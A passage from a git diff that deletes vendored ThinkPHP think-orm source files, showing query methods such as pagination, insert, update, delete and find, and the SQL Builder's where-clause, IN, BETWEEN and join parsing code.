$newOption = $options; - unset($newOption['field'], $newOption['page']); - - $data = $this->newQuery() - ->options($newOption) - ->field($key) - ->where(true) - ->order($key, $sort) - ->limit(1) - ->find(); - - $result = $data[$key]; - - if (is_numeric($result)) { - $lastId = 'asc' == $sort ? ($result - 1) + ($page - 1) * $listRows : ($result + 1) - ($page - 1) * $listRows; - } else { - throw new Exception('not support type'); - } - - $results = $this->when($lastId, function ($query) use ($key, $sort, $lastId) { - $query->where($key, 'asc' == $sort ? '>' : '<', $lastId); - }) - ->limit($listRows) - ->select(); - - $this->options($options); - - return Paginator::make($results, $listRows, $page, null, true, $config); - } - - /** - * 根据最后ID查询更多N个数据 - * @access public - * @param int $limit LIMIT - * @param int|string $lastId LastId - * @param string $key 分页索引键 默认为主键 - * @param string $sort 索引键排序 asc|desc - * @return array - * @throws Exception - */ - public function more(int $limit, $lastId = null, string $key = null, string $sort = null): array - { - $key = $key ?: $this->getPk(); - - if (is_null($sort)) { - $order = $this->getOptions('order'); - if (!empty($order)) { - $sort = $order[$key] ?? 'desc'; - } else { - $this->order($key, 'desc'); - $sort = 'desc'; - } - } else { - $this->order($key, $sort); - } - - $result = $this->when($lastId, function ($query) use ($key, $sort, $lastId) { - $query->where($key, 'asc' == $sort ? '>' : '<', $lastId); - })->limit($limit)->select(); - - $last = $result->last(); - - $result->first(); - - return [ - 'data' => $result, - 'lastId' => $last[$key], - ]; - } - - /** - * 查询缓存 - * @access public - * @param mixed $key 缓存key - * @param integer|\DateTime $expire 缓存有效期 - * @param string|array $tag 缓存标签 - * @return $this - */ - public function cache($key = true, $expire = null, $tag = null) - { - if (false === $key || !$this->getConnection()->getCache()) { - return $this; - } - - if ($key instanceof \DateTimeInterface || $key instanceof \DateInterval || (is_int($key) && is_null($expire))) { - $expire = $key; - $key = true; - } - - $this->options['cache'] = [$key, $expire, $tag]; - - return $this; - } - - /** - * 指定查询lock - * @access public - * @param bool|string $lock 是否lock - * @return $this - */ - public function lock($lock = false) - { - $this->options['lock'] = $lock; - - if ($lock) { - $this->options['master'] = true; - } - - return $this; - } - - /** - * 指定数据表别名 - * @access public - * @param array|string $alias 数据表别名 - * @return $this - */ - public function alias($alias) - { - if (is_array($alias)) { - $this->options['alias'] = $alias; - } else { - $table = $this->getTable(); - - $this->options['alias'][$table] = $alias; - } - - return $this; - } - - /** - * 设置从主服务器读取数据 - * @access public - * @param bool $readMaster 是否从主服务器读取 - * @return $this - */ - public function master(bool $readMaster = true) - { - $this->options['master'] = $readMaster; - return $this; - } - - /** - * 设置是否严格检查字段名 - * @access public - * @param bool $strict 是否严格检查字段 - * @return $this - */ - public function strict(bool $strict = true) - { - $this->options['strict'] = $strict; - return $this; - } - - /** - * 设置自增序列名 - * @access public - * @param string $sequence 自增序列名 - * @return $this - */ - public function sequence(string $sequence = null) - { - $this->options['sequence'] = $sequence; - return $this; - } - - /** - * 设置JSON字段信息 - * @access public - * @param array $json JSON字段 - * @param bool $assoc 是否取出数组 - * @return $this - */ - public function json(array $json = [], bool $assoc = false) - { - $this->options['json'] = $json; - $this->options['json_assoc'] = $assoc; - return $this; - } - - /** - * 指定数据表主键 - * @access public - * @param string|array $pk 主键 - * @return $this - */ - public function pk($pk) - { - $this->pk = $pk; - return $this; - } - - /** - * 查询参数批量赋值 - * @access protected - * @param array $options 表达式参数 - * @return $this - */ - protected function options(array $options) - { - $this->options = $options; - return $this; - } - - /** - * 获取当前的查询参数 - * @access public - * @param string $name 参数名 - * @return mixed - */ - public function getOptions(string $name = '') - { - if ('' === $name) { - return $this->options; - } - - return $this->options[$name] ?? null; - } - - /** - * 设置当前的查询参数 - * @access public - * @param string $option 参数名 - * @param mixed $value 参数值 - * @return $this - */ - public function setOption(string $option, $value) - { - $this->options[$option] = $value; - return $this; - } - - /** - * 设置当前字段添加的表别名 - * @access public - * @param string $via 临时表别名 - * @return $this - */ - public function via(string $via = '') - { - $this->options['via'] = $via; - - return $this; - } - - /** - * 保存记录 自动判断insert或者update - * @access public - * @param array $data 数据 - * @param bool $forceInsert 是否强制insert - * @return integer - */ - public function save(array $data = [], bool $forceInsert = false) - { - if ($forceInsert) { - return $this->insert($data); - } - - $this->options['data'] = array_merge($this->options['data'] ?? [], $data); - - if (!empty($this->options['where'])) { - $isUpdate = true; - } else { - $isUpdate = $this->parseUpdateData($this->options['data']); - } - - return $isUpdate ? $this->update() : $this->insert(); - } - - /** - * 插入记录 - * @access public - * @param array $data 数据 - * @param boolean $getLastInsID 返回自增主键 - * @return integer|string - */ - public function insert(array $data = [], bool $getLastInsID = false) - { - if (!empty($data)) { - $this->options['data'] = $data; - } - - return $this->connection->insert($this, $getLastInsID); - } - - /** - * 插入记录并获取自增ID - * @access public - * @param array $data 数据 - * @return integer|string - */ - public function insertGetId(array $data) - { - return $this->insert($data, true); - } - - /** - * 批量插入记录 - * @access public - * @param array $dataSet 数据集 - * @param integer $limit 每次写入数据限制 - * @return integer - */ - public function insertAll(array $dataSet = [], int $limit = 0): int - { - if (empty($dataSet)) { - $dataSet = $this->options['data'] ?? []; - } - - if (empty($limit) && !empty($this->options['limit']) && is_numeric($this->options['limit'])) { - $limit = (int) $this->options['limit']; - } - - return $this->connection->insertAll($this, $dataSet, $limit); - } - - /** - * 通过Select方式插入记录 - * @access public - * @param array $fields 要插入的数据表字段名 - * @param string $table 要插入的数据表名 - * @return integer - */ - public function selectInsert(array $fields, string $table): int - { - return $this->connection->selectInsert($this, $fields, $table); - } - - /** - * 更新记录 - * @access public - * @param mixed $data 数据 - * @return integer - * @throws Exception - */ - public function update(array $data = []): int - { - if (!empty($data)) { - $this->options['data'] = array_merge($this->options['data'] ?? [], $data); - } - - if (empty($this->options['where'])) { - $this->parseUpdateData($this->options['data']); - } - - if (empty($this->options['where']) && $this->model) { - $this->where($this->model->getWhere()); - } - - if (empty($this->options['where'])) { - // 如果没有任何更新条件则不执行 - throw new Exception('miss update condition'); - } - - return $this->connection->update($this); - } - - /** - * 删除记录 - * @access public - * @param mixed $data 表达式 true 表示强制删除 - * @return int - * @throws Exception - */ - public function delete($data = null): int - { - if (!is_null($data) && true !== $data) { - // AR模式分析主键条件 - $this->parsePkWhere($data); - } - - if (empty($this->options['where']) && $this->model) { - $this->where($this->model->getWhere()); - } - - if (true !== $data && empty($this->options['where'])) { - // 如果条件为空 不进行删除操作 除非设置 1=1 - throw new Exception('delete without condition'); - } - - if (!empty($this->options['soft_delete'])) { - // 软删除 - list($field, $condition) = $this->options['soft_delete']; - if ($condition) { - unset($this->options['soft_delete']); - $this->options['data'] = [$field => $condition]; - - return $this->connection->update($this); - } - } - - $this->options['data'] = $data; - - return $this->connection->delete($this); - } - - /** - * 查找记录 - * @access public - * @param mixed $data 数据 - * @return Collection - * @throws Exception - * @throws ModelNotFoundException - * @throws DataNotFoundException - */ - public function select($data = null): Collection - { - if (!is_null($data)) { - // 主键条件分析 - $this->parsePkWhere($data); - } - - $resultSet = $this->connection->select($this); - - // 返回结果处理 - if (!empty($this->options['fail']) && count($resultSet) == 0) { - $this->throwNotFound(); - } - - // 数据列表读取后的处理 - if (!empty($this->model)) { - // 生成模型对象 - $resultSet = $this->resultSetToModelCollection($resultSet); - } else { - $this->resultSet($resultSet); - } - - return $resultSet; - } - - /** - * 查找单条记录 - * @access public - * @param mixed $data 查询数据 - * @return array|Model|null - * @throws Exception - * @throws ModelNotFoundException - * @throws DataNotFoundException - */ - public function find($data = null) - { - if (!is_null($data)) { - // AR模式分析主键条件 - $this->parsePkWhere($data); - } - - if (empty($this->options['where']) && empty($this->options['order'])) { - $result = []; - } else { - $result = $this->connection->find($this); - } - - // 数据处理 - if (empty($result)) { - return $this->resultToEmpty(); - } - - if (!empty($this->model)) { - // 返回模型对象 - $this->resultToModel($result, $this->options); - } else { - $this->result($result); - } - - return $result; - } - - /** - * 分析表达式(可用于查询或者写入操作) - * @access public - * @return array - */ - public function parseOptions(): array - { - $options = $this->getOptions(); - - // 获取数据表 - if (empty($options['table'])) { - $options['table'] = $this->getTable(); - } - - if (!isset($options['where'])) { - $options['where'] = []; - } elseif (isset($options['view'])) { - // 视图查询条件处理 - $this->parseView($options); - } - - if (!isset($options['field'])) { - $options['field'] = '*'; - } - - foreach (['data', 'order', 'join', 'union'] as $name) { - if (!isset($options[$name])) { - $options[$name] = []; - } - } - - if (!isset($options['strict'])) { - $options['strict'] = $this->connection->getConfig('fields_strict'); - } - - foreach (['master', 'lock', 'fetch_sql', 'array', 'distinct', 'procedure'] as $name) { - if (!isset($options[$name])) { - $options[$name] = false; - } - } - - foreach (['group', 'having', 'limit', 'force', 'comment', 'partition', 'duplicate', 'extra'] as $name) { - if (!isset($options[$name])) { - $options[$name] = ''; - } - } - - if (isset($options['page'])) { - // 根据页数计算limit - [$page, $listRows] = $options['page']; - $page = $page > 0 ? $page : 1; - $listRows = $listRows ?: (is_numeric($options['limit']) ? $options['limit'] : 20); - $offset = $listRows * ($page - 1); - $options['limit'] = $offset . ',' . $listRows; - } - - $this->options = $options; - - return $options; - } - - /** - * 分析数据是否存在更新条件 - * @access public - * @param array $data 数据 - * @return bool - * @throws Exception - */ - public function parseUpdateData(&$data): bool - { - $pk = $this->getPk(); - $isUpdate = false; - // 如果存在主键数据 则自动作为更新条件 - if (is_string($pk) && isset($data[$pk])) { - $this->where($pk, '=', $data[$pk]); - $this->options['key'] = $data[$pk]; - unset($data[$pk]); - $isUpdate = true; - } elseif (is_array($pk)) { - foreach ($pk as $field) { - if (isset($data[$field])) { - $this->where($field, '=', $data[$field]); - $isUpdate = true; - } else { - // 如果缺少复合主键数据则不执行 - throw new Exception('miss complex primary data'); - } - unset($data[$field]); - } - } - - return $isUpdate; - } - - /** - * 把主键值转换为查询条件 支持复合主键 - * @access public - * @param array|string $data 主键数据 - * @return void - * @throws Exception - */ - public function parsePkWhere($data): void - { - $pk = $this->getPk(); - - if (is_string($pk)) { - // 获取数据表 - if (empty($this->options['table'])) { - $this->options['table'] = $this->getTable(); - } - - $table = is_array($this->options['table']) ? key($this->options['table']) : $this->options['table']; - - if (!empty($this->options['alias'][$table])) { - $alias = $this->options['alias'][$table]; - } - - $key = isset($alias) ? $alias . '.' . $pk : $pk; - // 根据主键查询 - if (is_array($data)) { - $this->where($key, 'in', $data); - } else { - $this->where($key, '=', $data); - $this->options['key'] = $data; - } - } - } - - /** - * 获取模型的更新条件 - * @access protected - * @param array $options 查询参数 - */ - protected function getModelUpdateCondition(array $options) - { - return $options['where']['AND'] ?? null; - } -} diff --git a/vendor/topthink/think-orm/src/db/Builder.php b/vendor/topthink/think-orm/src/db/Builder.php deleted file mode 100644 index c807f82..0000000 --- a/vendor/topthink/think-orm/src/db/Builder.php +++ /dev/null @@ -1,1303 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\db; - -use Closure; -use PDO; -use think\db\exception\DbException as Exception; - -/** - * Db Builder - */ -abstract class Builder -{ - /** - * Connection对象 - * @var ConnectionInterface - */ - protected $connection; - - /** - * 查询表达式映射 - * @var array - */ - protected $exp = ['NOTLIKE' => 'NOT LIKE', 'NOTIN' => 'NOT IN', 'NOTBETWEEN' => 'NOT BETWEEN', 'NOTEXISTS' => 'NOT EXISTS', 'NOTNULL' => 'NOT NULL', 'NOTBETWEEN TIME' => 'NOT BETWEEN TIME']; - - /** - * 查询表达式解析 - * @var array - */ - protected $parser = [ - 'parseCompare' => ['=', '<>', '>', '>=', '<', '<='], - 'parseLike' => ['LIKE', 'NOT LIKE'], - 'parseBetween' => ['NOT BETWEEN', 'BETWEEN'], - 'parseIn' => ['NOT IN', 'IN'], - 'parseExp' => ['EXP'], - 'parseNull' => ['NOT NULL', 'NULL'], - 'parseBetweenTime' => ['BETWEEN TIME', 'NOT BETWEEN TIME'], - 'parseTime' => ['< TIME', '> TIME', '<= TIME', '>= TIME'], - 'parseExists' => ['NOT EXISTS', 'EXISTS'], - 'parseColumn' => ['COLUMN'], - ]; - - /** - * SELECT SQL表达式 - * @var string - */ - protected $selectSql = 'SELECT%DISTINCT%%EXTRA% %FIELD% FROM %TABLE%%FORCE%%JOIN%%WHERE%%GROUP%%HAVING%%UNION%%ORDER%%LIMIT% %LOCK%%COMMENT%'; - - /** - * INSERT SQL表达式 - * @var string - */ - protected $insertSql = '%INSERT%%EXTRA% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%'; - - /** - * INSERT ALL SQL表达式 - * @var string - */ - protected $insertAllSql = '%INSERT%%EXTRA% INTO %TABLE% (%FIELD%) %DATA% %COMMENT%'; - - /** - * UPDATE SQL表达式 - * @var string - */ - protected $updateSql = 'UPDATE%EXTRA% %TABLE% SET %SET%%JOIN%%WHERE%%ORDER%%LIMIT% %LOCK%%COMMENT%'; - - /** - * DELETE SQL表达式 - * @var string - */ - protected $deleteSql = 'DELETE%EXTRA% FROM %TABLE%%USING%%JOIN%%WHERE%%ORDER%%LIMIT% %LOCK%%COMMENT%'; - - /** - * 架构函数 - * @access public - * @param ConnectionInterface $connection 数据库连接对象实例 - */ - public function __construct(ConnectionInterface $connection) - { - $this->connection = $connection; - } - - /** - * 获取当前的连接对象实例 - * @access public - * @return ConnectionInterface - */ - public function getConnection(): ConnectionInterface - { - return $this->connection; - } - - /** - * 注册查询表达式解析 - * @access public - * @param string $name 解析方法 - * @param array $parser 匹配表达式数据 - * @return $this - */ - public function bindParser(string $name, array $parser) - { - $this->parser[$name] = $parser; - return $this; - } - - /** - * 数据分析 - * @access protected - * @param Query $query 查询对象 - * @param array $data 数据 - * @param array $fields 字段信息 - * @param array $bind 参数绑定 - * @return array - */ - protected function parseData(Query $query, array $data = [], array $fields = [], array $bind = []): array - { - if (empty($data)) { - return []; - } - - $options = $query->getOptions(); - - // 获取绑定信息 - if (empty($bind)) { - $bind = $query->getFieldsBindType(); - } - - if (empty($fields)) { - if ('*' == $options['field']) { - $fields = array_keys($bind); - } else { - $fields = $options['field']; - } - } - - $result = []; - - foreach ($data as $key => $val) { - $item = $this->parseKey($query, $key, true); - - if ($val instanceof Raw) { - $result[$item] = $this->parseRaw($query, $val); - continue; - } elseif (!is_scalar($val) && (in_array($key, (array) $query->getOptions('json')) || 'json' == $query->getFieldType($key))) { - $val = json_encode($val); - } - - if (false !== strpos($key, '->')) { - [$key, $name] = explode('->', $key, 2); - $item = $this->parseKey($query, $key); - $result[$item] = 'json_set(' . $item . ', \'$.' . $name . '\', ' . $this->parseDataBind($query, $key . '->' . $name, $val, $bind) . ')'; - } elseif (false === strpos($key, '.') && !in_array($key, $fields, true)) { - if ($options['strict']) { - throw new Exception('fields not exists:[' . $key . ']'); - } - } elseif (is_null($val)) { - $result[$item] = 'NULL'; - } elseif (is_array($val) && !empty($val) && is_string($val[0])) { - switch (strtoupper($val[0])) { - case 'INC': - $result[$item] = $item . ' + ' . floatval($val[1]); - break; - case 'DEC': - $result[$item] = $item . ' - ' . floatval($val[1]); - break; - } - } elseif (is_scalar($val)) { - // 过滤非标量数据 - $result[$item] = $this->parseDataBind($query, $key, $val, $bind); - } - } - - return $result; - } - - /** - * 数据绑定处理 - * @access protected - * @param Query $query 查询对象 - * @param string $key 字段名 - * @param mixed $data 数据 - * @param array $bind 绑定数据 - * @return string - */ - protected function parseDataBind(Query $query, string $key, $data, array $bind = []): string - { - if ($data instanceof Raw) { - return $this->parseRaw($query, $data); - } - - $name = $query->bindValue($data, $bind[$key] ?? PDO::PARAM_STR); - - return ':' . $name; - } - - /** - * 字段名分析 - * @access public - * @param Query $query 查询对象 - * @param mixed $key 字段名 - * @param bool $strict 严格检测 - * @return string - */ - public function parseKey(Query $query, $key, bool $strict = false): string - { - return $key; - } - - /** - * 查询额外参数分析 - * @access protected - * @param Query $query 查询对象 - * @param string $extra 额外参数 - * @return string - */ - protected function parseExtra(Query $query, string $extra): string - { - return preg_match('/^[\w]+$/i', $extra) ? ' ' . strtoupper($extra) : ''; - } - - /** - * field分析 - * @access protected - * @param Query $query 查询对象 - * @param mixed $fields 字段名 - * @return string - */ - protected function parseField(Query $query, $fields): string - { - if (is_array($fields)) { - // 支持 'field1'=>'field2' 这样的字段别名定义 - $array = []; - - foreach ($fields as $key => $field) { - if ($field instanceof Raw) { - $array[] = $this->parseRaw($query, $field); - } elseif (!is_numeric($key)) { - $array[] = $this->parseKey($query, $key) . ' AS ' . $this->parseKey($query, $field, true); - } else { - $array[] = $this->parseKey($query, $field); - } - } - - $fieldsStr = implode(',', $array); - } else { - $fieldsStr = '*'; - } - - return $fieldsStr; - } - - /** - * table分析 - * @access protected - * @param Query $query 查询对象 - * @param mixed $tables 表名 - * @return string - */ - protected function parseTable(Query $query, $tables): string - { - $item = []; - $options = $query->getOptions(); - - foreach ((array) $tables as $key => $table) { - if ($table instanceof Raw) { - $item[] = $this->parseRaw($query, $table); - } elseif (!is_numeric($key)) { - $item[] = $this->parseKey($query, $key) . ' ' . $this->parseKey($query, $table); - } elseif (isset($options['alias'][$table])) { - $item[] = $this->parseKey($query, $table) . ' ' . $this->parseKey($query, $options['alias'][$table]); - } else { - $item[] = $this->parseKey($query, $table); - } - } - - return implode(',', $item); - } - - /** - * where分析 - * @access protected - * @param Query $query 查询对象 - * @param mixed $where 查询条件 - * @return string - */ - protected function parseWhere(Query $query, array $where): string - { - $options = $query->getOptions(); - $whereStr = $this->buildWhere($query, $where); - - if (!empty($options['soft_delete'])) { - // 附加软删除条件 - [$field, $condition] = $options['soft_delete']; - - $binds = $query->getFieldsBindType(); - $whereStr = $whereStr ? '( ' . $whereStr . ' ) AND ' : ''; - $whereStr = $whereStr . $this->parseWhereItem($query, $field, $condition, $binds); - } - - return empty($whereStr) ? '' : ' WHERE ' . $whereStr; - } - - /** - * 生成查询条件SQL - * @access public - * @param Query $query 查询对象 - * @param mixed $where 查询条件 - * @return string - */ - public function buildWhere(Query $query, array $where): string - { - if (empty($where)) { - $where = []; - } - - $whereStr = ''; - - $binds = $query->getFieldsBindType(); - - foreach ($where as $logic => $val) { - $str = $this->parseWhereLogic($query, $logic, $val, $binds); - - $whereStr .= empty($whereStr) ? substr(implode(' ', $str), strlen($logic) + 1) : implode(' ', $str); - } - - return $whereStr; - } - - /** - * 不同字段使用相同查询条件(AND) - * @access protected - * @param Query $query 查询对象 - * @param string $logic Logic - * @param array $val 查询条件 - * @param array $binds 参数绑定 - * @return array - */ - protected function parseWhereLogic(Query $query, string $logic, array $val, array $binds = []): array - { - $where = []; - foreach ($val as $value) { - if ($value instanceof Raw) { - $where[] = ' ' . $logic . ' ( ' . $this->parseRaw($query, $value) . ' )'; - continue; - } - - if (is_array($value)) { - if (key($value) !== 0) { - throw new Exception('where express error:' . var_export($value, true)); - } - $field = array_shift($value); - } elseif (true === $value) { - $where[] = ' ' . $logic . ' 1 '; - continue; - } elseif (!($value instanceof Closure)) { - throw new Exception('where express error:' . var_export($value, true)); - } - - if ($value instanceof Closure) { - // 使用闭包查询 - $whereClosureStr = $this->parseClosureWhere($query, $value, $logic); - if ($whereClosureStr) { - $where[] = $whereClosureStr; - } - } elseif (is_array($field)) { - $where[] = $this->parseMultiWhereField($query, $value, $field, $logic, $binds); - } elseif ($field instanceof Raw) { - $where[] = ' ' . $logic . ' ' . $this->parseWhereItem($query, $field, $value, $binds); - } elseif (strpos($field, '|')) { - $where[] = $this->parseFieldsOr($query, $value, $field, $logic, $binds); - } elseif (strpos($field, '&')) { - $where[] = $this->parseFieldsAnd($query, $value, $field, $logic, $binds); - } else { - // 对字段使用表达式查询 - $field = is_string($field) ? $field : ''; - $where[] = ' ' . $logic . ' ' . $this->parseWhereItem($query, $field, $value, $binds); - } - } - - return $where; - } - - /** - * 不同字段使用相同查询条件(AND) - * @access protected - * @param Query $query 查询对象 - * @param mixed $value 查询条件 - * @param string $field 查询字段 - * @param string $logic Logic - * @param array $binds 参数绑定 - * @return string - */ - protected function parseFieldsAnd(Query $query, $value, string $field, string $logic, array $binds): string - { - $item = []; - - foreach (explode('&', $field) as $k) { - $item[] = $this->parseWhereItem($query, $k, $value, $binds); - } - - return ' ' . $logic . ' ( ' . implode(' AND ', $item) . ' )'; - } - - /** - * 不同字段使用相同查询条件(OR) - * @access protected - * @param Query $query 查询对象 - * @param mixed $value 查询条件 - * @param string $field 查询字段 - * @param string $logic Logic - * @param array $binds 参数绑定 - * @return string - */ - protected function parseFieldsOr(Query $query, $value, string $field, string $logic, array $binds): string - { - $item = []; - - foreach (explode('|', $field) as $k) { - $item[] = $this->parseWhereItem($query, $k, $value, $binds); - } - - return ' ' . $logic . ' ( ' . implode(' OR ', $item) . ' )'; - } - - /** - * 闭包查询 - * @access protected - * @param Query $query 查询对象 - * @param Closure $value 查询条件 - * @param string $logic Logic - * @return string - */ - protected function parseClosureWhere(Query $query, Closure $value, string $logic): string - { - $newQuery = $query->newQuery(); - $value($newQuery); - $whereClosure = $this->buildWhere($newQuery, $newQuery->getOptions('where') ?: []); - - if (!empty($whereClosure)) { - $query->bind($newQuery->getBind(false)); - $where = ' ' . $logic . ' ( ' . $whereClosure . ' )'; - } - - return $where ?? ''; - } - - /** - * 复合条件查询 - * @access protected - * @param Query $query 查询对象 - * @param mixed $value 查询条件 - * @param mixed $field 查询字段 - * @param string $logic Logic - * @param array $binds 参数绑定 - * @return string - */ - protected function parseMultiWhereField(Query $query, $value, $field, string $logic, array $binds): string - { - array_unshift($value, $field); - - $where = []; - foreach ($value as $item) { - $where[] = $this->parseWhereItem($query, array_shift($item), $item, $binds); - } - - return ' ' . $logic . ' ( ' . implode(' AND ', $where) . ' )'; - } - - /** - * where子单元分析 - * @access protected - * @param Query $query 查询对象 - * @param mixed $field 查询字段 - * @param array $val 查询条件 - * @param array $binds 参数绑定 - * @return string - */ - protected function parseWhereItem(Query $query, $field, array $val, array $binds = []): string - { - // 字段分析 - $key = $field ? $this->parseKey($query, $field, true) : ''; - - list($exp, $value) = $val; - - // 检测操作符 - if (!is_string($exp)) { - throw new Exception('where express error:' . var_export($exp, true)); - } - - $exp = strtoupper($exp); - if (isset($this->exp[$exp])) { - $exp = $this->exp[$exp]; - } - - if (is_string($field) && 'LIKE' != $exp) { - $bindType = $binds[$field] ?? PDO::PARAM_STR; - } else { - $bindType = PDO::PARAM_STR; - } - - if ($value instanceof Raw) { - - } elseif (is_object($value) && method_exists($value, '__toString')) { - // 对象数据写入 - $value = $value->__toString(); - } - - if (is_scalar($value) && !in_array($exp, ['EXP', 'NOT NULL', 'NULL', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN']) && strpos($exp, 'TIME') === false) { - if (is_string($value) && 0 === strpos($value, ':') && $query->isBind(substr($value, 1))) { - } else { - $name = $query->bindValue($value, $bindType); - $value = ':' . $name; - } - } - - // 解析查询表达式 - foreach ($this->parser as $fun => $parse) { - if (in_array($exp, $parse)) { - return $this->$fun($query, $key, $exp, $value, $field, $bindType, $val[2] ?? 'AND'); - } - } - - throw new Exception('where express error:' . $exp); - } - - /** - * 模糊查询 - * @access protected - * @param Query $query 查询对象 - * @param string $key - * @param string $exp - * @param array $value - * @param string $field - * @param integer $bindType - * @param string $logic - * @return string - */ - protected function parseLike(Query $query, string $key, string $exp, $value, $field, int $bindType, string $logic): string - { - // 模糊匹配 - if (is_array($value)) { - $array = []; - foreach ($value as $item) { - $name = $query->bindValue($item, PDO::PARAM_STR); - $array[] = $key . ' ' . $exp . ' :' . $name; - } - - $whereStr = '(' . implode(' ' . strtoupper($logic) . ' ', $array) . ')'; - } else { - $whereStr = $key . ' ' . $exp . ' ' . $value; - } - - return $whereStr; - } - - /** - * 表达式查询 - * @access protected - * @param Query $query 查询对象 - * @param string $key - * @param string $exp - * @param array $value - * @param string $field - * @param integer $bindType - * @return string - */ - protected function parseExp(Query $query, string $key, string $exp, Raw $value, string $field, int $bindType): string - { - // 表达式查询 - return '( ' . $key . ' ' . $this->parseRaw($query, $value) . ' )'; - } - - /** - * 表达式查询 - * @access protected - * @param Query $query 查询对象 - * @param string $key - * @param string $exp - * @param array $value - * @param string $field - * @param integer $bindType - * @return string - */ - protected function parseColumn(Query $query, string $key, $exp, array $value, string $field, int $bindType): string - { - // 字段比较查询 - [$op, $field] = $value; - - if (!in_array(trim($op), ['=', '<>', '>', '>=', '<', '<='])) { - throw new Exception('where express error:' . var_export($value, true)); - } - - return '( ' . $key . ' ' . $op . ' ' . $this->parseKey($query, $field, true) . ' )'; - } - - /** - * Null查询 - * @access protected - * @param Query $query 查询对象 - * @param string $key - * @param string $exp - * @param mixed $value - * @param string $field - * @param integer $bindType - * @return string - */ - protected function parseNull(Query $query, string $key, string $exp, $value, $field, int $bindType): string - { - // NULL 查询 - return $key . ' IS ' . $exp; - } - - /** - * 范围查询 - * @access protected - * @param Query $query 查询对象 - * @param string $key - * @param string $exp - * @param mixed $value - * @param string $field - * @param integer $bindType - * @return string - */ - protected function parseBetween(Query $query, string $key, string $exp, $value, $field, int $bindType): string - { - // BETWEEN 查询 - $data = is_array($value) ? $value : explode(',', $value); - - $min = $query->bindValue($data[0], $bindType); - $max = $query->bindValue($data[1], $bindType); - - return $key . ' ' . $exp . ' :' . $min . ' AND :' . $max . ' '; - } - - /** - * Exists查询 - * @access protected - * @param Query $query 查询对象 - * @param string $key - * @param string $exp - * @param mixed $value - * @param string $field - * @param integer $bindType - * @return string - */ - protected function parseExists(Query $query, string $key, string $exp, $value, string $field, int $bindType): string - { - // EXISTS 查询 - if ($value instanceof Closure) { - $value = $this->parseClosure($query, $value, false); - } elseif ($value instanceof Raw) { - $value = $this->parseRaw($query, $value); - } else { - throw new Exception('where express error:' . $value); - } - - return $exp . ' ( ' . $value . ' )'; - } - - /** - * 时间比较查询 - * @access protected - * @param Query $query 查询对象 - * @param string $key - * @param string $exp - * @param mixed $value - * @param string $field - * @param integer $bindType - * @return string - */ - protected function parseTime(Query $query, string $key, string $exp, $value, $field, int $bindType): string - { - return $key . ' ' . substr($exp, 0, 2) . ' ' . $this->parseDateTime($query, $value, $field, $bindType); - } - - /** - * 大小比较查询 - * @access protected - * @param Query $query 查询对象 - * @param string $key - * @param string $exp - * @param mixed $value - * @param string $field - * @param integer $bindType - * @return string - */ - protected function parseCompare(Query $query, string $key, string $exp, $value, $field, int $bindType): string - { - if (is_array($value)) { - throw new Exception('where express error:' . $exp . var_export($value, true)); - } - - // 比较运算 - if ($value instanceof Closure) { - $value = $this->parseClosure($query, $value); - } - - if ('=' == $exp && is_null($value)) { - return $key . ' IS NULL'; - } - - return $key . ' ' . $exp . ' ' . $value; - } - - /** - * 时间范围查询 - * @access protected - * @param Query $query 查询对象 - * @param string $key - * @param string $exp - * @param mixed $value - * @param string $field - * @param integer $bindType - * @return string - */ - protected function parseBetweenTime(Query $query, string $key, string $exp, $value, $field, int $bindType): string - { - if (is_string($value)) { - $value = explode(',', $value); - } - - return $key . ' ' . substr($exp, 0, -4) - . $this->parseDateTime($query, $value[0], $field, $bindType) - . ' AND ' - . $this->parseDateTime($query, $value[1], $field, $bindType); - - } - - /** - * IN查询 - * @access protected - * @param Query $query 查询对象 - * @param string $key - * @param string $exp - * @param mixed $value - * @param string $field - * @param integer $bindType - * @return string - */ - protected function parseIn(Query $query, string $key, string $exp, $value, $field, int $bindType): string - { - // IN 查询 - if ($value instanceof Closure) { - $value = $this->parseClosure($query, $value, false); - } elseif ($value instanceof Raw) { - $value = $this->parseRaw($query, $value); - } else { - $value = array_unique(is_array($value) ? $value : explode(',', $value)); - $array = []; - - foreach ($value as $v) { - $name = $query->bindValue($v, $bindType); - $array[] = ':' . $name; - } - - if (count($array) == 1) { - return $key . ('IN' == $exp ? ' = ' : ' <> ') . $array[0]; - } else { - $zone = implode(',', $array); - $value = empty($zone) ? "''" : $zone; - } - } - - return $key . ' ' . $exp . ' (' . $value . ')'; - } - - /** - * 闭包子查询 - * @access protected - * @param Query $query 查询对象 - * @param \Closure $call - * @param bool $show - * @return string - */ - protected function parseClosure(Query $query, Closure $call, bool $show = true): string - { - $newQuery = $query->newQuery()->removeOption(); - $call($newQuery); - - return $newQuery->buildSql($show); - } - - /** - * 日期时间条件解析 - * @access protected - * @param Query $query 查询对象 - * @param mixed $value - * @param string $key - * @param integer $bindType - * @return string - */ - protected function parseDateTime(Query $query, $value, string $key, int $bindType): string - { - $options = $query->getOptions(); - - // 获取时间字段类型 - if (strpos($key, '.')) { - [$table, $key] = explode('.', $key); - - if (isset($options['alias']) && $pos = array_search($table, $options['alias'])) { - $table = $pos; - } - } else { - $table = $options['table']; - } - - $type = $query->getFieldType($key); - - if ($type) { - if (is_string($value)) { - $value = strtotime($value) ?: $value; - } - - if (is_int($value)) { - if (preg_match('/(datetime|timestamp)/is', $type)) { - // 日期及时间戳类型 - $value = date('Y-m-d H:i:s', $value); - } elseif (preg_match('/(date)/is', $type)) { - // 日期及时间戳类型 - $value = date('Y-m-d', $value); - } - } - } - - $name = $query->bindValue($value, $bindType); - - return ':' . $name; - } - - /** - * limit分析 - * @access protected - * @param Query $query 查询对象 - * @param mixed $limit - * @return string - */ - protected function parseLimit(Query $query, string $limit): string - { - return (!empty($limit) && false === strpos($limit, '(')) ? ' LIMIT ' . $limit . ' ' : ''; - } - - /** - * join分析 - * @access protected - * @param Query $query 查询对象 - * @param array $join - * @return string - */ - protected function parseJoin(Query $query, array $join): string - { - $joinStr = ''; - - foreach ($join as $item) { - [$table, $type, $on] = $item; - - if (strpos($on, '=')) { - [$val1, $val2] = explode('=', $on, 2); - - $condition = $this->parseKey($query, $val1) . '=' . $this->parseKey($query, $val2); - } else { - $condition = $on; - } - - $table = $this->parseTable($query, $table); - - $joinStr .= ' ' . $type . ' JOIN ' . $table . ' ON ' . $condition; - } - - return $joinStr; - } - - /** - * order分析 - * @access protected - * @param Query $query 查询对象 - * @param array $order - * @return string - 